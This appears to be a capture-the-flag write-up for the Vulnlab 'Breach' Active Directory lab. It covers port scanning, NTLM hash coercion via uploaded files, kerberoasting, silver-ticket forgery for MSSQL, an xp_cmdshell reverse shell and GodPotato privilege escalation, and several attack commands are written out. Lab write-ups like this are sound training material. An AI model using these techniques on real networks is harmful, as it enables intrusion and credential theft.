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Create Breach.vl
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Vulnlab/Breach.vl
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# Vulnlab - Breach
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```bash
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PORT STATE SERVICE VERSION
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53/tcp open domain?
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88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-12 16:03:34Z)
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135/tcp open msrpc Microsoft Windows RPC
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
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445/tcp open microsoft-ds?
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464/tcp open kpasswd5?
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593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
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636/tcp open tcpwrapped
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1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
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|_ssl-date: 2024-03-12T16:45:02+00:00; -20s from scanner time.
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|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
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|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
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| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
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| Issuer: commonName=SSL_Self_Signed_Fallback
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3389/tcp open ms-wbt-server Microsoft Terminal Services
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|_ssl-date: 2024-03-12T16:06:32+00:00; -20s from scanner time.
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| ssl-cert: Subject: commonName=BREACHDC.breach.vl
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| Issuer: commonName=BREACHDC.breach.vl
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| Public Key type: rsa
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| Public Key bits: 2048
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| Signature Algorithm: sha256WithRSAEncryption
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| Not valid before: 2024-03-11T16:03:04
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| Not valid after: 2024-09-10T16:03:04
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| MD5: 6bef15efd66e365df68a7dc73029cee7
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|_SHA-1: 7fce3649341af1319d2092a07f42efd473427203
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| rdp-ntlm-info:
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| Target_Name: BREACH
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| NetBIOS_Domain_Name: BREACH
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| NetBIOS_Computer_Name: BREACHDC
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| DNS_Domain_Name: breach.vl
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| DNS_Computer_Name: BREACHDC.breach.vl
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| DNS_Tree_Name: breach.vl
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| Product_Version: 10.0.20348
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|_ System_Time: 2024-03-12T16:05:52+00:00
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Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
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```
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Accessing smb shares with null authentication, we'll be able to list available shares
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<img src="https://i.imgur.com/CZIuO7Q.png"/>
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From `share` , we'll get 3 username directories
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<img src="https://i.imgur.com/IE02TOZ.png"/>
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We could have gotten domain users from brute forcing SID as well with `lookupsid.py`
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<img src="https://i.imgur.com/79XueMv.png"/>
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We can try AS-REP roasting but this didn't showed any user with pre-authentication not required
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<img src="https://i.imgur.com/3Z1umhi.png"/>
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## Coercing Authentication
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In share, we have write access so we can upload files in any folder other than user directories as we don't have read access there
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<img src="https://i.imgur.com/GoMoFHE.png"/>
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So we can perform coerce authentication by uploading scf or lnk files but I am not sure which extension will lead to coercion so we can use `ntlm_theft` to upload all kinds of extension for this
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```bash
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python3 ./ntlm_theft.py --generate all --server 10.8.0.136 -f @a
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```
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<img src="https://i.imgur.com/ywBdfyu.png"/>
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As soon as we'll upload the file, we'll receive NTLMv2 challenge/response hash of `Julia.Wong`
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<img src="https://i.imgur.com/9RcjmW7.png"/>
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This will get cracked easily through hashcat using rockyou.txt
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<img src="https://i.imgur.com/tMG5kt0.png"/>
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## Performing kerberoasting on mssql user
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We already saw that there was `svc_mssql`, it's most likely a service account which can be kerberoastable
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```bash
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crackmapexec ldap breach.vl -u 'julia.wong' -p 'password' --kerberoasting kerberoast.txt
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```
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<img src="https://i.imgur.com/UDFGJUy.png"/>
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Cracking this again with hashcat
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<img src="https://i.imgur.com/j7hILVQ.png"/>
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With these credentials we can try logging in on MSSQL service with `mssqclient.py` , but it gives us login failure
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<img src="https://i.imgur.com/823VYBW.png"/>
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Since we have the mssql service account, we can forge a silver ticket and impersonate administrator user on mssql
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```bash
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ticketer.py -nthash hash -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn 'MSSQL/breach.vl' administrator
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```
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<img src="https://i.imgur.com/shSZJJR.png"/>
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<img src="https://i.imgur.com/HJTF0CL.png"/>
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Now we just need to enable `xp_cmdshell` as it's disabled by default
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<img src="https://i.imgur.com/gLOHOVr.png"/>
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Downloading and executing netcat to get a reverse shell
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<img src="https://i.imgur.com/AZXko4m.png"/>
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This user has `SeImpersonate` privilege enabled through which we can impersonate/steal the token of any user including SYSTEM user
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<img src="https://i.imgur.com/oXkFlFq.png"/>
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Using `GodPotato` to escalate our privileges
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<img src="https://i.imgur.com/XahBFyD.png"/>
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# References
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- https://github.com/BeichenDream/GodPotato
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